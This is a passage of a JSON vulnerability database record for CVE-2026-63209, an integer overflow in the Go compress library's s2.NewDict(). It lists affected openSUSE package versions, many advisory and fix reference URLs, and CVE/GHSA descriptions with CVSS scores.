urce":"osv","ecosystem":"openSUSE:Tumbleweed","package":"hauler","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.1.1-1.1"}]}]},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"helm","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.3.0-4.1"}]}],"bundled":2},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"helm3","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.22.0-3.1"}]}]},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"alloy","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.20.1-1.1"}]}],"bundled":7},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"gh","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.102.0-1.1"}]}],"bundled":7},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"rqlite","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"10.6.1-1.1"}]}],"bundled":4},{"source":"osv","ecosystem":"openSUSE:Leap 16.0","package":"distribution","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.1-160000.5.1"}]}]},{"source":"osv","ecosystem":"openSUSE:Leap 16.0","package":"helm","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.3.0-160000.2.1"}]}],"bundled":3},{"source":"osv","ecosystem":"openSUSE:Leap 16.0","package":"google-osconfig-agent","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"20260928.01-160000.1.1"}]}]},{"source":"osv","ecosystem":"openSUSE:Leap 16.0","package":"hauler","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.1.1-bp160.1.1"}]}],"bundled":2},{"source":"osv","ecosystem":"openSUSE:Leap 16.0","package":"cadvisor","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.60.6-bp160.1.1"}]}]},{"source":"osv","ecosystem":"openSUSE:Leap 16.0","package":"gh","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.102.0-bp160.1.1"}]}],"bundled":8},{"source":"osv","ecosystem":"openSUSE:Leap 16.0","package":"aliyun-cli","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.5.1-160000.1.1"}]}]},{"source":"osv","ecosystem":"openSUSE:Leap 16.0","package":"rqlite","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"10.6.6-bp160.1.1"}]}],"bundled":6},{"source":"osv","ecosystem":"openSUSE:Leap 16.0","package":"go-containerregistry","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.22.1-bp160.1.1"}]}],"bundled":3}],"products":[{"vendor":"klauspost","product":"compress"}],"references":[{"url":"https://github.com/klauspost/compress/security/advisories/GHSA-259r-337f-4rfw","tags":["x_refsource_CONFIRM","exploit","advisory","web","article","report"]},{"url":"https://github.com/klauspost/compress/commit/539243b8823ee8f03e49969823d57c348c917536","tags":["x_refsource_MISC","fix","web","article","report"]},{"url":"https://github.com/klauspost/compress/releases/tag/v1.18.7","tags":["x_refsource_MISC","web","article","report"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-63209","tags":["web","advisory"]},{"url":"https://github.com/klauspost/compress/pull/1163","tags":["web"]},{"url":"https://github.com/klauspost/compress/commit/8668e357e776d5152ed62f33c17f21b8690664fa","tags":["web","fix"]},{"url":"https://github.com/advisories/GHSA-259r-337f-4rfw"},{"url":"https://docs.bell-sw.com/security/cves/CVE-2026-63209","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/63xxx/CVE-2026-63209.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-63209","tags":["advisory"]},{"url":"https://github.com/klauspost/compress","tags":["package"]},{"url":"https://access.redhat.com/errata/RHSA-2026:54413","tags":["advisory"]},{"url":"https://images.redhat.com/","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-63209","tags":["report"]},{"url":"https://access.redhat.com/security/updates/classification/","tags":["article"]},{"url":"https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_54413.json","tags":["advisory"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2543236","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-63209","tags":["advisory","report"]},{"url":"https://access.redhat.com/errata/RHSA-2026:54419","tags":["advisory"]},{"url":"https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_54419.json","tags":["advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:58472","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-56851","tags":["report"]},{"url":"https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_58472.json","tags":["advisory"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2547607","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-56851","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-56851","tags":["advisory"]},{"url":"https://go.dev/cl/793360","tags":["article"]},{"url":"https://go.dev/issue/80112","tags":["article"]},{"url":"https://pkg.go.dev/vuln/GO-2026-6629","tags":["advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:68256","tags":["advisory"]},{"url":"https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_68256.json","tags":["advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:68272","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-81872","tags":["report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-93450","tags":["report"]},{"url":"https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_68272.json","tags":["advisory"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2535727","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-81872","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-81872","tags":["advisory"]},{"url":"https://github.com/open-telemetry/opentelemetry-go/commit/ba71b09e6ed272e93a669aeaec1e98b1df4cc582","tags":["article"]},{"url":"https://github.com/open-telemetry/opentelemetry-go/issues/6797","tags":["article"]},{"url":"https://github.com/open-telemetry/opentelemetry-go/pull/8620","tags":["article"]},{"url":"https://github.com/open-telemetry/opentelemetry-go/releases/tag/sdk/log/v0.21.0","tags":["article"]},{"url":"https://github.com/open-telemetry/opentelemetry-go/security/advisories/GHSA-hjf4-fphr-2h65","tags":["article"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2538979","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-93450","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-93450","tags":["advisory"]},{"url":"https://github.com/go-openapi/swag","tags":["article"]},{"url":"https://github.com/go-openapi/swag/blob/v0.27.0/jsonutils/adapters/stdlib/json/adapter.go#L68","tags":["article"]},{"url":"https://github.com/go-openapi/swag/blob/v0.27.0/jsonutils/adapters/stdlib/json/ordered_map.go#L214","tags":["article"]},{"url":"https://github.com/go-openapi/swag/commit/0c24346ced59a25811e8694a915e7131d25ccb0e","tags":["article"]},{"url":"https://github.com/go-openapi/swag/security/advisories/GHSA-xh24-9qpg-8w28","tags":["article"]},{"url":"https://www.vulncheck.com/advisories/go-openapi-swag-jsonutils-before-0.27.1-uncontrolled-recursion-in-ordered-json-marshal-and-unmarshal","tags":["article"]},{"url":"https://access.redhat.com/errata/RHSA-2026:68290","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-77404","tags":["report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-77412","tags":["report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-77403","tags":["report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-77410","tags":["report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-77409","tags":["report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-77406","tags":["report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-77407","tags":["report"]},{"url":"https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_68290.json","tags":["advisory"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2535498","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-77403","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-77403","tags":["advisory"]},{"url":"https://github.com/rabbitmq/amqp091-go/commit/2e0a919b89f337dbf58db2bb34ab206dac354a06","tags":["article"]},{"url":"https://github.com/rabbitmq/amqp091-go/pull/353","tags":["article"]},{"url":"https://github.com/rabbitmq/amqp091-go/releases/tag/v1.13.0","tags":["article"]},{"url":"https://github.com/rabbitmq/amqp091-go/security/advisories/GHSA-xwwf-m8fg-p9q2","tags":["article"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2535489","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-77404","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-77404","tags":["advisory"]},{"url":"https://github.com/rabbitmq/amqp091-go/commit/743d488e46955fe7ffc55506fe2c401d01216783","tags":["article"]},{"url":"https://github.com/rabbitmq/amqp091-go/pull/352","tags":["article"]},{"url":"https://github.com/rabbitmq/amqp091-go/security/advisories/GHSA-465g-fh3v-9jw4","tags":["article"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2535493","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-77406","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-77406","tags":["advisory"]},{"url":"https://github.com/rabbitmq/amqp091-go/commit/3b879e1d1d25b544e26b3bc3d7db3213203c0f3b","tags":["article"]},{"url":"https://github.com/rabbitmq/amqp091-go/pull/351","tags":["article"]},{"url":"https://github.com/rabbitmq/amqp091-go/security/advisories/GHSA-rm6m-hrcw-jw33","tags":["article"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2535487","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-77407","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-77407","tags":["advisory"]},{"url":"https://github.com/rabbitmq/amqp091-go/commit/fa013b8447eb60988db3c9281ff6b981e4d2fb4f","tags":["article"]},{"url":"https://github.com/rabbitmq/amqp091-go/pull/350","tags":["article"]},{"url":"https://github.com/rabbitmq/amqp091-go/security/advisories/GHSA-27gv-rfvv-22mv","tags":["article"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2535494","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-77409","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-77409","tags":["advisory"]},{"url":"https://github.com/rabbitmq/amqp091-go/commit/5b0ccbb8d7bc3dfa18129d9b0f9256d656809494","tags":["article"]},{"url":"https://github.com/rabbitmq/amqp091-go/pull/349","tags":["article"]},{"url":"https://github.com/rabbitmq/amqp091-go/security/advisories/GHSA-wxx3-cj7g-w73j","tags":["article"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2535500","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-77410","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-77410","tags":["advisory"]},{"url":"https://github.com/rabbitmq/amqp091-go/commit/91b65fa0096a99a580cf51a31b24028ff1c60382","tags":["article"]},{"url":"https://github.com/rabbitmq/amqp091-go/pull/346","tags":["article"]},{"url":"https://github.com/rabbitmq/amqp091-go/security/advisories/GHSA-r9c8-gcjp-xfwh","tags":["article"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2535499","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-77412","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-77412","tags":["advisory"]},{"url":"https://github.com/rabbitmq/amqp091-go/commit/669b42bf7b1db76bc6d4973e3634247f680accbf","tags":["article"]},{"url":"https://github.com/rabbitmq/amqp091-go/pull/344","tags":["article"]},{"url":"https://github.com/rabbitmq/amqp091-go/security/advisories/GHSA-4v58-74mf-rjx3","tags":["article"]},{"url":"https://access.redhat.com/errata/RHSA-2026:68591","tags":["advisory"]},{"url":"https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_68591.json","tags":["advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:68717","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-81871","tags":["report"]},{"url":"https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_68717.json","tags":["advisory"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2535725","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-81871","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-81871","tags":["advisory"]},{"url":"https://github.com/open-telemetry/opentelemetry-go/commit/c65d435b43e5e6b82310e6b18dd4cdcb8ac63a0c","tags":["article"]},{"url":"https://github.com/open-telemetry/opentelemetry-go/releases/tag/exporters/otlp/otlplog/otlploggrpc/v0.21.0","tags":["article"]},{"url":"https://github.com/open-telemetry/opentelemetry-go/security/advisories/GHSA-w34q-cm8f-9c5x","tags":["article"]},{"url":"https://access.redhat.com/errata/RHSA-2026:68729","tags":["advisory"]},{"url":"https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_68729.json","tags":["advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:68806","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-71557","tags":["report"]},{"url":"https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_68806.json","tags":["advisory"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2512557","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-71557","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-71557","tags":["advisory"]},{"url":"https://github.com/go-git/go-git/commit/4a0e66d555de5f9a30c31e2df64f445f42bd01e7","tags":["article"]},{"url":"https://github.com/go-git/go-git/commit/da9f7d8a0e98b475600177348d6ece384a370f36","tags":["article"]},{"url":"https://github.com/go-git/go-git/pull/2247","tags":["article"]},{"url":"https://github.com/go-git/go-git/pull/2254","tags":["article"]},{"url":"https://github.com/go-git/go-git/releases/tag/v5.19.2","tags":["article"]},{"url":"https://github.com/go-git/go-git/releases/tag/v6.0.0-alpha.5","tags":["article"]},{"url":"https://github.com/go-git/go-git/security/advisories/GHSA-qgq7-7hm3-q39j","tags":["article"]},{"url":"https://access.redhat.com/errata/RHSA-2026:68808","tags":["advisory"]},{"url":"https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_68808.json","tags":["advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:70031","tags":["advisory"]},{"url":"https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_70031.json","tags":["advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:70670","tags":["advisory"]},{"url":"https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_70670.json","tags":["advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:70684","tags":["advisory"]},{"url":"https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_70684.json","tags":["advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:70726","tags":["advisory"]},{"url":"https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_70726.json","tags":["advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:72490","tags":["advisory"]},{"url":"https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_72490.json","tags":["advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:72491","tags":["advisory"]},{"url":"https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_72491.json","tags":["advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:72492","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-104994","tags":["report"]},{"url":"https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_72492.json","tags":["advisory"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2545329","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-104994","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-104994","tags":["advisory"]},{"url":"https://github.com/aquasecurity/trivy/blob/main/CHANGELOG.md","tags":["article"]},{"url":"https://github.com/aquasecurity/trivy/commit/9d91b888cf63023e9c09b64259a4c1cea8dfe993","tags":["article"]},{"url":"https://github.com/aquasecurity/trivy/pull/10664","tags":["article"]},{"url":"https://github.com/aquasecurity/trivy/security/advisories/GHSA-87hp-4m93-274g","tags":["article"]},{"url":"https://access.redhat.com/errata/RHSA-2026:72493","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2024-24786","tags":["report"]},{"url":"https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_72493.json","tags":["advisory"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2268046","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2024-24786","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2024-24786","tags":["advisory"]},{"url":"https://go.dev/cl/569356","tags":["article"]},{"url":"https://groups.google.com/g/golang-announce/c/ArQ6CDgtEjY/","tags":["article"]},{"url":"https://pkg.go.dev/vuln/GO-2024-2611","tags":["advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:72496","tags":["advisory"]},{"url":"https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_72496.json","tags":["advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:72497","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-9496","tags":["report"]},{"url":"https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_72497.json","tags":["advisory"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2481394","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-9496","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-9496","tags":["advisory"]},{"url":"https://github.com/npm/pacote/blob/9d7459440826ab4cf962ef98d8f3fd0c4d464b5c/lib/util/add-git-sha.js%23L2C1-L13C2","tags":["article"]},{"url":"https://security.snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-16874025","tags":["article"]},{"url":"https://security.snyk.io/vuln/SNYK-JS-PACOTE-8225084","tags":["article"]},{"url":"https://access.redhat.com/errata/RHSA-2026:72498","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-61709","tags":["report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-102422","tags":["report"]},{"url":"https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_72498.json","tags":["advisory"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2535473","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-61709","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-61709","tags":["advisory"]},{"url":"https://github.com/openfga/openfga/commit/171806c93b86bca29e0212ceb8b6ee9c48eb9ac3","tags":["article"]},{"url":"https://github.com/openfga/openfga/releases/tag/v1.18.1","tags":["article"]},{"url":"https://github.com/openfga/openfga/security/advisories/GHSA-g3pg-frfm-pr2m","tags":["article"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2542933","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-102422","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102422","tags":["advisory"]},{"url":"https://github.com/ljharb/shell-quote","tags":["article"]},{"url":"https://github.com/ljharb/shell-quote/commit/6002b2ed90c6b83095eb272b6b0adaf3a172b0bc","tags":["article"]},{"url":"https://github.com/ljharb/shell-quote/security/advisories/GHSA-pqg4-j6r4-53mv","tags":["article"]},{"url":"https://www.npmjs.com/package/shell-quote","tags":["article"]},{"url":"https://access.redhat.com/errata/RHSA-2026:72507","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-81842","tags":["report"]},{"url":"https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_72507.json","tags":["advisory"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2543653","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-81842","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-81842","tags":["advisory"]},{"url":"https://grafana.com/security/security-advisories/cve-2026-81842","tags":["article"]},{"url":"https://access.redhat.com/errata/RHSA-2026:72570","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-21729","tags":["report"]},{"url":"https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_72570.json","tags":["advisory"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2501250","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-21729","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-21729","tags":["advisory"]},{"url":"https://grafana.com/security/security-advisories/cve-2026-21729","tags":["article"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-202624120-1/","tags":["advisory"]},{"url":"https://bugzilla.suse.com/1281112","tags":["report"]},{"url":"https://bugzilla.suse.com/1283642","tags":["report"]},{"url":"https://bugzilla.suse.com/1284104","tags":["report"]},{"url":"https://www.suse.com/security/cve/CVE-2026-63209","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-81870","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-85732","tags":["web"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-202624131-1/","tags":["advisory"]},{"url":"https://bugzilla.suse.com/1283672","tags":["report"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-202624153-1/","tags":["advisory"]},{"url":"https://bugzilla.suse.com/1283762","tags":["report"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-202624222-1/","tags":["advisory"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-202624247-1/","tags":["advisory"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-202624261-1/","tags":["advisory"]},{"url":"https://bugzilla.suse.com/1283596","tags":["report"]},{"url":"https://bugzilla.suse.com/1284203","tags":["report"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-202624277-1/","tags":["advisory"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-202624282-1/","tags":["advisory"]},{"url":"https://bugzilla.suse.com/1261935","tags":["report"]},{"url":"https://bugzilla.suse.com/1261938","tags":["report"]},{"url":"https://bugzilla.suse.com/1261939","tags":["report"]},{"url":"https://bugzilla.suse.com/1265428","tags":["report"]},{"url":"https://bugzilla.suse.com/1265758","tags":["report"]},{"url":"https://bugzilla.suse.com/1270127","tags":["report"]},{"url":"https://bugzilla.suse.com/1271660","tags":["report"]},{"url":"https://bugzilla.suse.com/1271997","tags":["report"]},{"url":"https://bugzilla.suse.com/1275024","tags":["report"]},{"url":"https://bugzilla.suse.com/1275025","tags":["report"]},{"url":"https://bugzilla.suse.com/1276327","tags":["report"]},{"url":"https://bugzilla.suse.com/1276510","tags":["report"]},{"url":"https://bugzilla.suse.com/1276514","tags":["report"]},{"url":"https://bugzilla.suse.com/1281426","tags":["report"]},{"url":"https://bugzilla.suse.com/1281468","tags":["report"]},{"url":"https://bugzilla.suse.com/1281469","tags":["report"]},{"url":"https://www.suse.com/security/cve/CVE-2026-33814","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-35204","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-35205","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-35206","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-41178","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-41888","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-48978","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-50151","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-50163","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56852","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56854","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56855","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56864","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56865","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-78662","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-81871","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-81872","tags":["web"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-20264554-1/","tags":["advisory"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-20264661-1/","tags":["advisory"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-20264662-1/","tags":["advisory"]},{"url":"https://bugzilla.suse.com/1283594","tags":["report"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-20265119-1/","tags":["advisory"]},{"url":"https://bugzilla.suse.com/1285273","tags":["report"]},{"url":"https://www.suse.com/security/cve/CVE-2026-78669","tags":["web"]},{"url":"https://ubuntu.com/security/CVE-2026-63209","tags":["report"]},{"url":"","tags":["advisory"]},{"url":"https://www.suse.com/security/cve/CVE-2026-14362","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-84303","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-84304","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-84445","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-59831","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-72924","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-89090","tags":["web"]},{"url":"https://bugzilla.suse.com/1280110","tags":["report"]},{"url":"https://bugzilla.suse.com/1283673","tags":["report"]},{"url":"https://www.suse.com/security/cve/CVE-2026-53495","tags":["web"]},{"url":"https://bugzilla.suse.com/1283657","tags":["report"]},{"url":"https://bugzilla.suse.com/1271215","tags":["report"]},{"url":"https://bugzilla.suse.com/1276707","tags":["report"]},{"url":"https://bugzilla.suse.com/1276755","tags":["report"]},{"url":"https://bugzilla.suse.com/1278962","tags":["report"]},{"url":"https://bugzilla.suse.com/1279208","tags":["report"]},{"url":"https://bugzilla.suse.com/1279310","tags":["report"]},{"url":"https://bugzilla.suse.com/1283727","tags":["report"]},{"url":"https://bugzilla.suse.com/1285291","tags":["report"]},{"url":"https://bugzilla.suse.com/1266544","tags":["report"]},{"url":"https://bugzilla.suse.com/1278793","tags":["report"]},{"url":"https://bugzilla.suse.com/1279102","tags":["report"]},{"url":"https://bugzilla.suse.com/1279253","tags":["report"]},{"url":"https://bugzilla.suse.com/1280657","tags":["report"]},{"url":"https://bugzilla.suse.com/1283555","tags":["report"]},{"url":"https://bugzilla.suse.com/1286934","tags":["report"]},{"url":"https://www.suse.com/security/cve/CVE-2026-39821","tags":["web"]},{"url":"https://bugzilla.suse.com/1239277","tags":["report"]},{"url":"https://bugzilla.suse.com/1283692","tags":["report"]},{"url":"https://bugzilla.suse.com/1288488","tags":["report"]},{"url":"https://www.suse.com/security/cve/CVE-2025-22868","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-116591","tags":["web"]}],"sources":{"cve":[{"id":"CVE-2026-63209","title":"Integer Overflow or Wraparound and Out-of-bounds Write in compress","description":"compress provides various compression algorithms. Prior to version 1.18.7, a signed integer overflow vulnerability in s2.NewDict() allows an attacker to bypass repeat index validation by supplying a dictionary with a uvarint-encoded repeat value exceeding MaxInt64. When Dict.Encode() is subsequently called, the overflowed negative repeat value causes an out-of-bounds memory access via unsafe.Pointer arithmetic, crashing the process with SIGSEGV. This issue has been patched in version 1.18.7.","status":"published","published":"2026-09-29T14:58:53.366Z","modified":"2026-09-29T16:32:32.677Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"cna"}],"cwes":["CWE-190","CWE-787"],"updated_at":"2026-11-02T14:19:55.914391Z"}],"euvd":[{"id":"EUVD-2026-88977","description":"compress provides various compression algorithms. Prior to version 1.18.7, a signed integer overflow vulnerability in s2.NewDict() allows an attacker to bypass repeat index validation by supplying a dictionary with a uvarint-encoded repeat value exceeding MaxInt64. When Dict.Encode() is subsequently called, the overflowed negative repeat value causes an out-of-bounds memory access via unsafe.Pointer arithmetic, crashing the process with SIGSEGV. This issue has been patched in version 1.18.7.","status":"published","published":"2026-09-29T14:58:53Z","modified":"2026-09-29T16:32:32Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T17:27:51.995341Z"}],"ghsa":[{"id":"GHSA-259r-337f-4rfw","title":"Compress/s2: Integer Overflow or Wraparound and Out-of-bounds Write in compress","description":"# Signed Integer Overflow in s2.NewDict\n\n## Summary\n\nA signed integer overflow vulnerability in 